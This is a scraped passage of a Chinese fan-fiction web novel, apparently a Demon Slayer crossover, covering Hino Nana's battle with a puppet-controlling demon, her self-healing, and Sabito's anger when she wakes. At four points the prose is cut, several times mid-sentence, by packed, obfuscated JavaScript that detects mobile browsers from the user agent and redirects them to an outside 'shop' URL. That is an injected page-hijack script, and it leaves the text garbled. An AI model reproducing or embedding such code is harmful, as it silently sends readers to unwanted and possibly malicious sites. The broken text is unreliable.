她扭头看向揣兜的男人：“还是我身为你的养女，真的只能顺着你的意思生活下去？” 男人摊了摊手：“我可没这么想。” 那双熟悉的狐狸眼笑眯眯的，看得少女难得火大，她深呼吸两口，低声道：“我不要入学，也不要去学习那个东西。” 她握住拳头：“会害人的力量不应该被重现，它应该被牢牢锁住，不让它有再见天日的一天。” 少女的手紧紧攥住胸口的衣服，心脏砰砰的跳动声连带着她的手指都在微不可见地颤抖。 似乎是有人很温柔很无可奈何的叹息声，随后她攥得发白的手指被一根根认真掰开。 “哪怕这种压抑会给你的身体带来负担吗？” 双肩被厚实的手掌压平，温度从肌肤与衣物的接触处源源不断地传来，有人在安静柔和地平视她。 “奈奈，不要畏惧那种力量，它是你的一部分。哪怕你选择忽视它，它也会从你看不见的角落钻出来。” “不学习是不行的，不前进是不行的。” 碎发被拢到耳后，一双大手捧住她的脸，拇指划过她的眼睛。在那种柔和的视线中，她和那人的对话声越来越远，风声将过去的絮语吹拂到了天边。 那个少女只是固执地转过身离开。 那个转身曾让日野奈奈后悔许久。 停留在原地是不行的，不往前大步迈进是不行的。 日野奈奈和不死川实弥互相瞪着，两把火各自在心中熊熊燃烧，将之前和睦的氛围烧了个精光。 直到到达任务地点前，两人之间再也没说过话，鎹鸦也缩着头不敢吭声。 等到看到不远处终于出现了印着“?”字的背影，鎹鸦才解放了一般，喜极而泣地拍打翅膀飞过去。 日野奈奈也看到了同穿鬼杀队服的那名队友。 是一位陌生的少年。 他显然也看到了这边，眼前一亮朝日野奈奈挥手。 “竟然还有人来一起参与这个任务，真是太好了。”少年笑道。 “你好，我叫齐木飒太。” 日野奈奈和他握了握手：“我是日野奈奈。” 手掌交叠的一刹，齐木的手指似乎攥得格外紧，离开时小指在她手背上勾了一下。 日野奈奈心里闪过异样，本想询问情况的嘴闭上了。 她微眯眼睛，对面的少年笑着看她，眨了眨眼睛：“怎么了？” 他想了一下，恍然：“啊，对哦，我应该先陈述这里发生了什么。” 齐木飒太笑容微敛，神色不太好：“听鎹鸦说，之前也来过两个队员哦，但是都离奇失踪了。” “这里的鬼应该是采用那种隐匿奇袭的血鬼术，等会搜查时得多注意周围。” 日野奈奈若有所思地点了点头，她跟上了齐木的步伐，身后的不死川实弥也默默跟上。 齐木飒太注意到白发少年：“这位是？” “萍水相逢，暂时同行。”少女抱着刀观察四周。 不死川实弥拧起眉头，目光在走得很近的两人间扫视。他张了张嘴，还是没说话。 夕阳渐斜，三个人一齐走进了这个规模不大的小镇。 齐木飒太并没有在不死川实弥身上纠结太久，一路上，他都在热情地与日野奈奈攀谈，得知这只是日野奈奈第二个任务时，他信心满满地说会护她周全。 “我可是杀过十几个鬼了哦。”他笑着说。 日野奈奈附和地鼓掌：“真厉害。” “可靠的前辈要给可爱的后辈做好榜样！”齐木飒太高兴道。 他腰间的日轮刀一坠一坠，看上去很不稳，日野奈奈道：“齐木先生的刀看上去很轻呢。” 齐木飒太解释道：“啊，那是因为我个人体质的原因，轻刀更契合我的呼吸法。” 他们慢慢走过了镇子中心的地带，街道上的人家都早早关门，太阳刚下山不久，窗格上却鲜有灯光掩映。 日野奈奈绕了个位置，不死川实弥被她莫名的身位卡得一滞，被挤到另一个地方。 少女离齐木飒太更近了，她背着手好奇道：“前辈来这里多久了呢？” “也才刚到不久，就碰上你了哦。” “前辈修习的是什么呼吸法呢？” “啊，只是普通的风之呼吸而已。” 身旁的房屋高低起伏，一一掠过，天越来越黑，鬼的身影仍无影无踪。 春季未至，夜晚流动的空气透着凉意，就和身旁人的呼吸一样。 不知何时，他们已走过了房屋最密集的一带，周围的景象变得寥落，破落的旧屋黑洞洞地投来凝视。 不死川实弥跟随的脚步越来越慢，他警惕地环顾周身，眼神渐渐惊疑不定。 他不禁唤了一声：“喂，这很明显不对劲吧——” 前方的人充耳不闻，少女言笑晏晏地朝齐木飒太搭话。 白发少年心头的戒备越来越深，他的步伐渐渐慢了下来。 不死川实弥与另外两人的距离渐渐拉大。 幽紫色的眼睛死死盯着少女的侧颜。 尚还和他处于冷战的少女此刻笑容轻松，黑发束成马尾垂落在肩侧。她亦步亦趋地跟着那个鬼杀队队员，慢慢地走出了不死川实弥的视野。 不死川实弥停住了脚步。 街上只留下他一人。 不对劲。 大脑的雷达疯狂响动。 不对劲。 他背后渗出冷汗。 从什么时候开始不对劲的？35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102898|195754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 烟雾渐渐从四面八方逸散过来，向不死川实弥的脚边逼近。 少年将手搭上腰侧的长刀，双腿和神经一齐绷紧。 某个瞬间，他头猛然一侧，刀反手向后扎去！ “嗤！” 是刀没入血肉的声音！ 他霍然转头，瞳孔一缩。 眼熟的笑脸在不死川实弥视野里出现。 ——是刚才消失的齐木飒太。 此刻他面色苍白，双眼上翻，唇角笑容僵硬无比。 就像一具行尸走肉。 他动作迟缓，反应过来的不死川实弥一脚将他踹开，猛地向后几步。 齐木飒太在这，那日野奈奈呢？！ 不死川实弥冷脸，他朝四周张望，心间有些焦急。 鬼出现了，绝对是鬼出现了，那个白痴难道遇害了？！ “啊，好可怜。”突兀怜悯的声音从上方响起。 不死川实弥猛地抬头，一只瘦削修长的男鬼在房屋顶部看着他。 属于鬼的竖瞳里溢满令人恶心的怜爱之色。 他捧着自己的脸，眯着眼左摇右晃：“好可怜，好可怜，因为同伴消失而慌乱不已吧，真是惹人怜的孩子。” “你在找那个女孩吧？可惜啊，她被我可爱的木偶带走了呢，而且中了我的术法，想必此时正无法行动，苦恼不已吧？” 男鬼神情陶醉：“我本来是想先吃掉那个少女猎鬼人的，但是，你真的是太香了，香到我无法抛下你离开呢~” 鬼瞳的视点落在白发少年手臂上缠着的绷带上。 隔着层层轻柔的白纱，一股令他无比沉醉的血液芳香从里面传来。 他敏锐地察觉到，吃掉这个少年，自己绝对实力大增。 “我真是心痒难耐了啊，这种美味。”他兴奋地睁大竖瞳，涎水滴滴答答从嘴边挂落。 不死川实弥绷紧下颚，他仇恨地握紧了手中的刀，却没有贸然冲上前。 这个鬼和他之前见过的那些不一样，他能感受到那股属于鬼的气息，叠加了数倍的血腥气息。 很强！不死川实弥脖颈爆出青筋。 他冷笑着举起手臂，撕下绷带，尚未愈合的伤疤在鬼惊喜的目光中裸露。 鬼笑了：“好棒，好棒的孩子，我会好好享用你的。” 不死川实弥也狰狞地笑了：“那就来享用吧，混账！” 他满怀恶意地提刀欲在手臂上划开更大的一刀。 “不许~”轻快的声音在耳边响起。 一块石子激射而来，弹开了不死川的刀尖。 一刹那，鬼魅般的身影闪现在鬼的身后，刀光如雪，锃亮夺目地以一种看不清的速度朝鬼的脖子狠狠砍去。 ……却落了个空。 “诶？”日野奈奈的身体因惯性向前倾。 她在空中旋了个身，稳稳在不死川实弥身边落下。 好奇的目光落在另一间房顶，少女稀奇道：“你这个鬼虽然很讨厌，但是很快呢。” “原来有这么怕死吗？”她歪了歪头。 8. 惊诧（已修） “噗呲。” 鬼的左肩处慢慢现出一条血线，又慢慢愈合。 他眼珠转动，也不生气：“啊，女孩子逃出来了……” “哈哈，哈哈哈，”鬼喜悦地笑了起来，指甲在脸上抓挠，“太好了，看起来你是个实力不错的猎鬼人呢。” “很好，很好，我要把你们一起吃掉！” 鬼迷乱地捧着脸，而后街道烟雾涌动速度突然加快，数个人影从雾中浮现。 不死川实弥和日野奈奈背靠背，他声音似乎松了一瞬：“你没死啊。” 日野奈奈礼貌回复：“请不要咒我，我非常好。” 而后她看向屋顶上发癫的鬼：“你应该看出来了，这只鬼很强，不是之前见过的那种小喽啰。” 不死川实弥握紧刀：“当然，长了眼睛都看得出来。” 左侧一只人影从雾中冲出，日野奈奈眼疾手快砍掉了它的手，一节木制的棍子咚地掉在地上。 不死川实弥一怔：“……木头？” “啊，大概是这只鬼的特殊能力吧，能以人类为原型制造木偶进攻，”日野奈奈边挥刀边沉吟，“那个所谓的齐木飒太也是呢。” 只见过一些杂鱼的不死川实弥惊了：“那个明明是活人啊？” 日野奈奈猜测：“应该是越精致能力越强，到齐木飒太这种以假乱真状态的大概已经是最强的那档了吧。” 不死川实弥下意识看了眼自己之前把齐木踹走的地方，那里已经空空如也。 木偶已经爬回了雾里。 他心头涌起不适，随之而来的是暴怒，他想到了什么：“那这些木偶的原型……？” “凶多吉少吧。”日野奈奈叹了口气。 随后她道：“我需要你立刻离开这里。” 白发少年立刻不满地看向她，日野奈奈没管他的眼神，声音压得很低：“你马上去救还活着的人。” 不死川实弥拒绝的话语一噎：“……还有人活着？” “有，比如真正的齐木飒太。”奈奈没看他，缓缓抽出自己的日轮刀，蓄势待发。 “他的木偶带我走的时候，悄悄用手指给我写了字，应该是被藏在了镇上的哪个角落，你沿着烟雾出现的地方找。” “去找他，然后再考虑来帮我。” 不死川实弥的目光停驻在少女的背影上，她已经将他挡在了身后。 他咬牙：“但是你……” 少女打断了他：“实弥！” 不死川实弥话语一滞，他看见少女转头，那双金瞳在月光下熠熠生辉。 “实弥，拜托了，”她说，“人命永远比杀鬼更重要。” “我会为你劈开这片雾，然后快走。” 语毕，她提刀冲了上去。 鬼在上方戏谑地注视着他们，毫不在意地左摇右晃。见日野奈奈跃上房檐，招来木偶轻松挡掉了进攻。 “砰！” 房屋陷落，日野奈奈和鬼的身影消失在满天灰尘中。掉下去前，她朝不死川实弥的位置猛地连斩三刀，刀气刮散了纠缠的雾气。 一条狭小而干净坦途出现在不死川实弥眼前。 不死川实弥咬紧了牙，不甘如野草在理智的枝丫上疯狂蔓延。 黑云遮住了月光，灰尘与木屑狂舞着遮掩视野，里面闪烁着鬼的尖笑和时隐时现的刀光剑影。 这也只是她第二个任务而已。 不死川实弥脑海里突然浮现出之前日野奈奈和齐木飒太说过的话。 她也只是一个新人啊！ 不死川实弥攥紧了拳头，狂乱的情绪在胸腔里横冲直撞，他想发泄什么，但在最后只是冲出了雾的包围。 无力感沉重地坠入腰腹，唇边的两个字微不可闻地消失在风里。 “……小心。” 与不死川实弥藏之未宣的担忧不同，日野奈奈心里没有很沉重。 她搅乱战场后死死缠住男鬼，不让他脱身去找逃走的不死川实弥。 血液的芳香彻底消失在空气中，男鬼便知道少年已经彻底逃离。 他额角暴起青筋，终于将眼神正式放在这个难缠的少女猎鬼人身上。 “你，一点也不可爱，”他粘稠的视线在奈奈身上流连，“非常不乖。” 日野奈奈斩来的刀被他挡住，她笑眯眯：“谢谢夸奖。” “突然有点好奇了呢，你是怎么从一号手下逃出来的？他应该对你启用我的血鬼术了才对。” 男鬼操控木偶朝奈奈刺来，竖瞳里全是兴趣。 奈奈踹开木偶，抽空想了想：“你说那个认知修改？啊，那种强度可远远不够哦。” “想让我混淆行动的神经指令啊，术法倒是不错……”她点了点自己的太阳穴，弯了弯眼睛。 下一秒她猛然冲了上去：“可惜我点了抗性！” 骤然暴起的速度如雷霆闪电，男鬼措不及防被她再次近身砍中肩颈。 向上一点就是他的脖子了。 男鬼脸色冷了下来。 身上的压迫感加重数倍，日野奈奈知道对方开始认真了。 她咧开了嘴，难得遇上可以一战的鬼。 放开手脚吧！ 一人一鬼对视几秒，即刻交战在一起。 鲜血、残肢、断骨，浓烈的铁腥味在狭小的废墟内蔓延开来。 男鬼越打越觉得不对劲。 为什么？ 他明明已经在对面身上制造了数个伤口，少女那件鬼杀队服也已经成为半边红衣。 但是为什么，她的动作还是毫不停顿、毫无影响？！ “血鬼术·木缘谵妄！” 他撕开皮肤，血液呈雾态朝日野奈奈飞速包裹。 日野奈奈向后小跳两步，避开血雾，飞身朝男鬼脖子砍去，被另一只木偶撞开刀锋。 木偶被砍成两半碎在地上。 “木偶质量越来越差了啊，你还剩几个木偶呢？”她歪了歪头。 男鬼阴冷地看了她一眼，日野奈奈顿觉不对，向右闪避但晚了一步。 地上的木偶猛然爆开，鬼之血溅满奈少女的手臂。 沾染血液，血鬼术起效，日野奈奈身体僵住，她摇晃了两下，男鬼趁机上前，尖锐的爪牙捅向她的心脏。 下一秒，少女目光猛然抬起，身体一侧，男鬼的手擦着肩膀过去，划开一道豁口。 他明明实打实刺中了。 男鬼挡下日野奈奈一刀，眼神越来越惊疑不定。 战况发展到现在，他越发觉得自己不是在和一个人类战斗，而是一只与他一样的、随时随地可以自愈再生的鬼！ 男鬼的木偶越发稀少，他渐渐慌乱起来。 “你到底——” “都到最后了，才发现吗？”日野 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102899|195754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奈奈遗憾地说。 身上的黑色制服被血色浸透，但她笑得毫无阴霾。 少女朝男鬼挥了挥手：“看我哦。” 男鬼的目光情不自禁朝她手背投去。 在他的注视下，刚刚擦破的一道伤口缓缓地愈合，肌肤光洁如新。 男鬼瞳孔一缩。 “怎么可能？！”他失声。 世界观被冲击的震撼感让他愣在原地，竖瞳震颤不已。 这个少女是一个人类而已，区区人类，会受伤，会流血，痊愈也很缓慢，和他们鬼完全没得比。 人类，是落后脆弱的渺小之物！ 但是，但是—— 对面的少女朝他笑着，她撩开了袖子，青紫的淤痕和划破的伤口在鬼眼前敞开。 而后……肉眼可见地愈合。 “噗呲。” 说时迟那时快，一瞬间，冰冷的触感抵住了发愣的鬼的脖颈，随后一个用力。 世界在鬼的眼中颠倒。 砰。 是头颅掉落在地的声音。 ……啊。 男鬼后知后觉，他……被砍下了头吗？ “……真是持久战啊。”日野奈奈伸了伸懒腰。 她点了点地上的木偶，除了半残的齐木飒太，其他木偶都碎得彻彻底底。 交战的过程中也只有齐木飒太时不时有自我意识的感觉。 ……果然，其他人应该都死了吧。 日野奈奈抿唇。 地上逐渐消散的鬼头怨恨地注视她，几乎要淬出血来：“可恶，可恶，真是太狡诈了！你分明是鬼吧！” “把自己隐藏得和人类一样，只想混在人堆里吃人吧！” “我们才是同类啊，为什么要来杀我！我明明没碍着你什么吧！” “可恨，可恨，可恨——” 日野奈奈把头一撇，没再理会身后鬼的狂怒，从废墟的一角钻了出去。 不知何时，天边云雾散开，露出了其后皎洁的明月。日野奈奈沐浴在月光下，眯了眯眼。 远处，两个小点互相搀扶着往这里狂奔而来，越来越近。 日野奈奈用手搭了个小棚子，噢，是不死川实弥和真正的齐木飒太。 他们半身浴血，看上去很狼狈。 似乎那边也经历了一场恶战呢，日野奈奈想。 这个鬼还说她，他自己才狡诈吧，两边埋伏。 她朝那边的两人挥了挥手，手放到嘴边：“喂——” 两人也看到了她，脸上一喜。 齐木飒太高兴地朝她挥挥手，不死川实弥别扭地扭过了头。 随后又转过来，和缓的面色却似乎看到了什么，惊慌地狰狞了起来。 “小心！身后——” 呼喊比疼痛迟一步传到耳边。 日野奈奈的身体被突如其来的力度带得往前一窜。 她低头，看见自己脖颈前插出来的半截手掌。 那双沾血的手指朝她虚弱地勾了勾。 而后消散在她的脖颈间。 ——徒留贯穿脖子血淋淋的一个大洞。 不死川实弥几乎不敢相信自己看见了什么。 他目眦欲裂，声带像是被沙砾粗重磨过，撕心裂肺的呐喊声响彻这一方天地。 “日野——” 鲜血从奈奈的身体迸射而出。 9. 死而复生（已修） 日野奈奈捂着脖子跪倒在地上。 大片大片的鲜血从她的指缝间溢出，哗啦一声，如小瀑布一般。 被阴了啊，日野奈奈不好意思地想，没想到这只鬼还有余力发动最后的突袭。 眼前的视野开始晃动，她在脑海里复盘。 不，或许不是鬼的本体偷袭她，是离得近的未消散木偶吗？ 是她惯性思维了，认为鬼会马上死掉，但现在看来或许实力越强的鬼死得越慢。 血越流越多，从奈奈的衣服周围渗出，悄无声息地汇聚成一大团血泊。 有人颤抖着手在她面前跪下，粗糙的掌心慌乱地叠在她捂着喉咙的手上。 似乎有隐隐约约的声音在呼喊她的名字，温热的液体滴落在她的大腿上。 模糊的视线里，日野奈奈看到不死川实弥不可置信的神情，他眼里布满血丝，焦急恐慌的意味在那双幽紫色的猫瞳里蔓延。 他似乎在说着不要死，不要死。 不要死？ 日野奈奈想笑，她怎么会死呢。 破碎的笑声从空洞的脖颈间溢出，发出嗬嗬的声音。 “喂，别再动了啊！别说话啊！”不死川实弥使劲捂着她的脖子，鲜血染红了他的掌心。 他眼睛红得能滴血：“不是你拜托我去救人吗！我救了啊！” “是你说的人命比杀鬼重要吧！要活下去啊，活下去啊，混蛋……” 声音逐渐哽咽，不死川实弥感到自己手下的温度在慢慢溃散，少女温暖的体温逐渐走向冰冷。 “齐木他已经去喊人了，坚持住啊日野……”他扶住少女的身体，力道越来越重，是日野奈奈的身体控制不住地往后倒。 好吵啊，不死川。日野奈奈闭着眼睛，耳朵边上全是少年痛苦的呐喊。 她不会死的，她不就正在用反转术式治疗自己吗…… 浅金色的咒力在掌心绽放，渗透进日野奈奈被贯穿的喉间。 咒力在贯穿伤下飞快消耗，血肉在她的手下再生，以一种缓慢而坚定的速度。 微不可见的金色光芒在少女的喉间闪烁着，不等不死川实弥看到，就被日出的光辉盖了过去。 不知何时，月亮已悄悄沉入地底，一轮硕大圆满的红日在远处的地平线升起。 柔和的光线缓缓向小镇一角倾倒，废墟的尘埃在阳光中游动，血泊泛起金色的涟漪。 手下的体温到了极低的一种水平，不死川实弥抖着手，再也说不下去了。 他的手不再和日野奈奈叠着，转而握住了少女向内扣的肩膀。 弟弟妹妹的死，母亲的死，相遇不久的日野奈奈的死…… 白发少年的身体剧烈颤抖起来，前所未有的愤怒和憎恨如毒蛇搅住了他的灵魂。 不可原谅，鬼，不可原谅！ 扣住少女肩膀的双手骤然捏紧，不死川实弥低着头，一字一顿。 “我会杀光天下鬼，为死去的你们报仇。” 字字泣血，仇恨滔天。 我、还、没、死…… 日野奈奈努力挣扎了一下，但咒力仍在飞速消耗，累得她睁不开眼。 本来之前杀鬼就在持续消耗咒力，现在的反转术式更是加倍叠加咒力使用，她感觉身体快要被掏空了。 ……但是居然还没被掏空。 她后知后觉意识到，疲累的大脑迟钝运转。 被疼痛麻木的体内，一直有一股微小的力量源源不断地涌出。 ——来源外界。 日野奈奈的思绪空白一瞬。 她将注意力聚焦，再聚焦，循着那股莫名咒力的方向而去。 ——落在了不死川实弥在她肩膀上的双手。 …… …… “来源”？！ 日野奈奈一个激灵，也顾不上累了，她猛然睁开双眼，对上不死川实弥惊骇的眼神。 她震惊地和不死川实弥对视。 “你……”她气若游丝。 刚想说话，就捂着脖子干呕了一下。 坏了，喉咙还没修好。 她悲哀地想。 不死川实弥脑袋嗡嗡的，他瞪大眼睛看着半靠在自己怀里“死而复生”的少女。 刚刚暴怒狂躁的情绪被戳了个洞，漏了大半，他愣愣看着开始咳嗽的日野奈奈。 少女弯腰咳着，黑色发丝还染着大片红色，黏在脸侧，与皮肤的惨白形成触目惊心的对比。 她的手指无力地搭在他的手臂上，狼狈不堪，疲倦尽显。 但是……还活着。 “还活着”三个字敲入神智。 像是溺水的人重回水面，不死川实弥猛地抽气，将日野奈奈紧紧揽在了怀里。 本来就喘不上气的日野奈奈呼吸一滞，她两眼一翻挣扎着拍他：“松，松手，呕——” 她被少年勒得视野发黑，恍惚间，不死川实弥的背后渐渐浮起六道虚无的幻影。 是人的模样。 一个温柔的女人，几个活泼的孩子。 他们感激地看着她，对她微微鞠躬。 日野奈奈睁大眼睛，将他们的口型收入眼底。 “谢谢你还活着”。 幻影悲伤却温柔的眼神落在白发少年身上，而后悄然消散了。 日野奈奈下意识伸手，却只摸得一片冰凉的空气。 而后她胸腔里终于涌入一股氧气。 是不死川实弥发现自己差点又把她勒死，惊慌失措地放开了她。 “你还好吧？”他紧紧盯着日野奈奈，眼睛眨也不眨。 “还好……但是不死川，你背后有鬼啊……”少女神游般说。 鬼？ 不死川实弥眉眼一压，凶狠抽刀向后砍去。 挥了个空。 再转头时，黑发少女已经又闭上眼睛倒了下去，他心脏停跳一拍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102900|195754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 手慌忙接住了她，在得而复失的恐惧卷土重来前，少女的呼吸轻柔地拂过他的面庞。 如同春天的煦风。 不死川实弥直直地接着日野奈奈，愣了好久。 太阳照耀在他身上，日光映亮一切，包括少女起伏的胸脯。 ……她睡着了。 不远处，匆忙的脚步声朝这里赶来，伴随着几声“这边”“伤员在这”“开始准备抢救”，不死川实弥把日野奈奈小心平放在地面上。 他的手颤抖着轻轻捉住奈奈放在脖子上的手指，慢慢地拉开。 他看见了少女本应留有贯穿大洞的喉间。 只余一道微微渗血的细长伤痕。 * 日野奈奈睡了很长很长的一觉。 她似乎做了很多梦，但是却没记下任何东西。 醒来时，脑海中仍留有梦境的余温，随后记忆如海水般退潮。 日野奈奈缓了一会儿，才看到正对自己的天花板。 “笃。” 耳边传来惊鹿敲击石钵的声音，她慢慢侧头看去。 脖颈间的纱布很厚重，日野奈奈艰难扭头，看见侧对她的一个熟悉身影。 那人支起膝盖，右手手肘撑在上面，托腮看着外边的庭院。 黄绿色的龟纹羽织在榻榻米上安静地垂落。 “……锖兔。”日野奈奈轻轻发声。 细微的呼唤被捕捉，锖兔平静转头，银色瞳孔倒映着奈奈苍白的脸色。 窸窸窣窣的衣物摩擦声传来，他挪到日野奈奈身旁的位置，跪坐下来。 日野奈奈是高兴的。 一睁眼就看到了熟悉的朋友，从梦中醒来的恍惚感被重逢的雀跃代替。 “你怎么在这？”她笑着问，又疑惑道，“或者说，这是哪里？” 锖兔看着她，唇轻轻抿着，没有说话，只是注视着她。 仍处冬日，天气却意外得暖和，日光带着些许热，榻榻米烘出暖洋洋的清香。 穿堂风顺着敞开的障子向另一边掠去。 日野奈奈微微眯了眯眼睛。 再眨眼，一根食指轻轻顶在她的眉心。 淡淡的阴影覆盖住了少女，锖兔向前倾身，日野奈奈清晰地看见他眉眼起伏的每一处。 “锖兔……？”她有些茫然。 热度从锖兔的指尖传来，流入日野奈奈的知觉。 从仰视的这个角度看去，少年脸颊上的伤疤隐在日光的阴影里，看不太清楚。 但对熟悉锖兔面容的奈奈来说，还未完全蜷入阴影里的疤痕尖尖更加明显了。 她目光不自觉地停留在上面。 眉心的手指在少女目光停留的那一刻开始移动，虚虚划过鼻梁、嘴唇、下巴，滞在被纱布层层包裹的上方。 日野奈奈若有所感。 沉寂的室内响起锖兔淡淡的声音：“日野奈奈，不像话。” 10. 再会 陈述的话语很轻，是少年如崖间松风的惯常嗓音。 往常闲谈时，锖兔的声音总是有一种微妙的慵懒感，为他原本沉肃的声音质感带上一丝温柔。 但现在那种温柔消失了，日野奈奈想起了狭雾山上他陪义勇训练时的场景。 作为师兄，在战斗和训练方面，锖兔比义勇经验更胜，便理所应当扛起更多责任。 在义勇动作不对或判断有误时，锖兔的刀背总会毫不留情地敲打在义勇身上。 那时他的声音就和现在一样，肃然慎重，将柔和的意味通通收敛。 日野顶着锖兔的视线，流下一滴冷汗。 ……被叫全名了！ 她顿感不妙。 锖兔绝对是生气了！ “对不起，我错了！”她迅速滑跪。 锖兔：“哦，错在哪？” 错在哪…… 日野奈奈迟疑。 ……自己在战斗结束后太大意了？ 只有这点没做好，不是吗？ 她谨慎道：“我没给鬼多补两刀，战后失策了。” “下次不可能会有第二次。”她很快又补充道。 金色瞳孔在日光下闪闪发光，少女缩在被褥里讨好地冲锖兔笑了笑。 很好，她不知道自己在说什么。锖兔想。 “这里是藤屋，供鬼杀队剑士休养生息的地方，”他说，“做完第一个任务后我便和义勇往北边走，继续杀了两只鬼后来到这里暂时歇脚。” 日野奈奈听他讲起自己的事，以为这一茬过去了，肩膀微微放松。 下一秒，她看到少年的目光放沉。 “……但是在继续出发往北走的前一刻，我们看到了两个被放在担架上的人。”他淡淡道。 “其中一个少年只是右腿受伤，走不了路，而另一个人……” 在锖兔渐渐变冷的注视下，日野奈奈头皮开始发麻。 少年看着她：“另一个人浑身上下被血浸透，昏迷不醒，她的喉间留有一长道骇人的创痕。” “日野奈奈，这个差点被割喉的人是谁？” 锖兔的指尖垂在她的颈侧，难以忽视的热度侵入少女被纱布包裹的伤处，微微发烫。 日野奈奈张了张嘴，锖兔的面容被她纳入眼底。 未言明的怒气从少年缓缓蹙起的眉峰间溢出，连带着那双银眸深处越发汹涌的暗潮。 “……抱歉。”日野奈奈小声说。 锖兔收回手指，捻了捻被角：“临走前，你曾对我们说过‘大家都不许死’，那句话我算作彼此的承诺。” “我和义勇做到了，你没有。” “被承诺过的生命在你眼中是如此廉价吗？” 锖兔的语气越来越重，他额角爆出青筋，眸色冷得能结冰。 “当然不是！”少女下意识说。 两人相视许久，日野奈奈逃避开视线。 她忽然觉得有些委屈。 “我只是在杀鬼而已，受伤也是难免的吧……？而且你知道的，我可以治好自己。”她低低地说，心底有些许不服气。 那只鬼她好好地杀掉了，也救下了唯一活着的齐木飒太。 除了她力竭昏迷之外，一切都还不错，不是吗？ “这就是你选择孤身应鬼的倚仗吗？”锖兔怒极反笑，“那种使用后会让你的脸色苍白得与死人无异的能力？” 他猛地一拳砸在地上：“开什么玩笑！你便这样以自损八百的心态杀鬼是吗？” “那你不如趁早退出鬼杀队，我们不要再做这个同伴！” 日野奈奈呼吸一滞，被锖兔激烈的反应搞得不知所措。 她……她没说错啊…… 为什么要冲她发火？ 她刚想反驳，却撞进了锖兔的眼睛里。 那双比月色更盛的银眸里，悲伤如浪潮，一波一波将怒意与懊悔推到日野奈奈的眼前。 话语卡在了唇边。 锖兔心底的情绪喷薄欲出。 他难以忘怀自己看到日野奈奈被血浸透时是什么样的心情。 分别前还言笑晏晏的少女在再见时气息微弱地躺在担架上。 锖兔当时没有反应过来，直到与少女同行的白发少年焦躁地将堵在门口的他撞开，他才听到自己呼吸的声音。 那是日野奈奈吗？锖兔不敢相信。 他的身体先于意识跟在隐的背后，看见白发少年冲一旁的队员吼着什么，看见医生将少女护在脖颈的手挪开，血液顺着指尖垂落，看见那条可怕的伤口横贯于少女白皙的颈部。 那双灿烂的金瞳从始至终都紧紧闭着，一刻也无法对他露出笑容。 那个名为不死川实弥的少年对他说，是日野奈奈将他送出了鬼的包围，而她直接对上了那只鬼，那只他们当时已经知道很强的鬼。 回忆令人揪心，锖兔几乎控制不住自己的表情，特别是面对醒来后满脸无辜，对他的愤怒感到茫然的少女。 为什么不先选择拖延呢？为什么不等到鎹鸦求助后援军赶来？ 你难道不知道我们会挂心于你吗？ 他想质问，但他自知没有立场。 ——因为…… 双手却忽的被包裹在柔软的掌心。 锖兔愣住。 日野奈奈将他颤抖的手拢住，轻轻放到自己的额头上。 少女眨了眨眼睛，睫毛柔柔扫在锖兔的手腕上。 “……抱歉，总算有点明白锖兔在生气什么了，应该是和我对不死川君的心态差不多吧。” “不想看着对方陷入思想的泥沼，为了致敌奋不顾身，甚至不惜伤害自己，以为这样便能加速HE的结局。” ……锖兔只是真的很担心她而已。 日野奈奈笑了起来，日光在室内偏移，眼睫的阴影如蝴蝶般振翅欲飞。 “但是啊，我可是真的很强的哦，虽然确实因为有治愈的能力有一点点浪啦，但身体早已千锤百炼，只是看起来虚弱而已，不是你所想的逞强。况且有不死川和齐木在身后，我很放心。所以重来一次我还会这么选择的！” “——因为如果是锖兔的话，当时也一定会这么做吧！”她毫不犹豫地说。 不要被迫等待，不要停留在原地，一直向前进，哪怕鲜血淋漓。 障子外的暖风呼啸而来。 锖兔睁大眼睛。 日野奈奈笑了起来。 未曾在回忆里见到的笑容展露于眼前，是与昏迷时截然不同的活力与生机勃勃。 少女的体温通过交握的手源源不断地传来。 锖兔高涨的复杂情绪止于此刻。 他低头看着彼此交叠的手，没有抽出，而是紧紧地反握回去。 “……嗯。”他应道。 奈奈的手比他小一点点，被他慢慢裹在掌心。 “不过啊，说起不死川，那家伙才是真的不知趣好吗！”日野奈奈看了眼锖兔的脸色，不动声色地祸水东引。 “明明看上去就营养不良，还天天给自己放血，这么搞身体才是会真的垮掉，对吧？” “嗯。” “杀鬼的决心倒是很强烈，我本来打算联系鳞泷先生能不能训练他的，锖兔你觉得怎么样？” “好。” 日野奈奈兴致勃勃：“我现在应该是在养伤吧，这段时间刚好可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 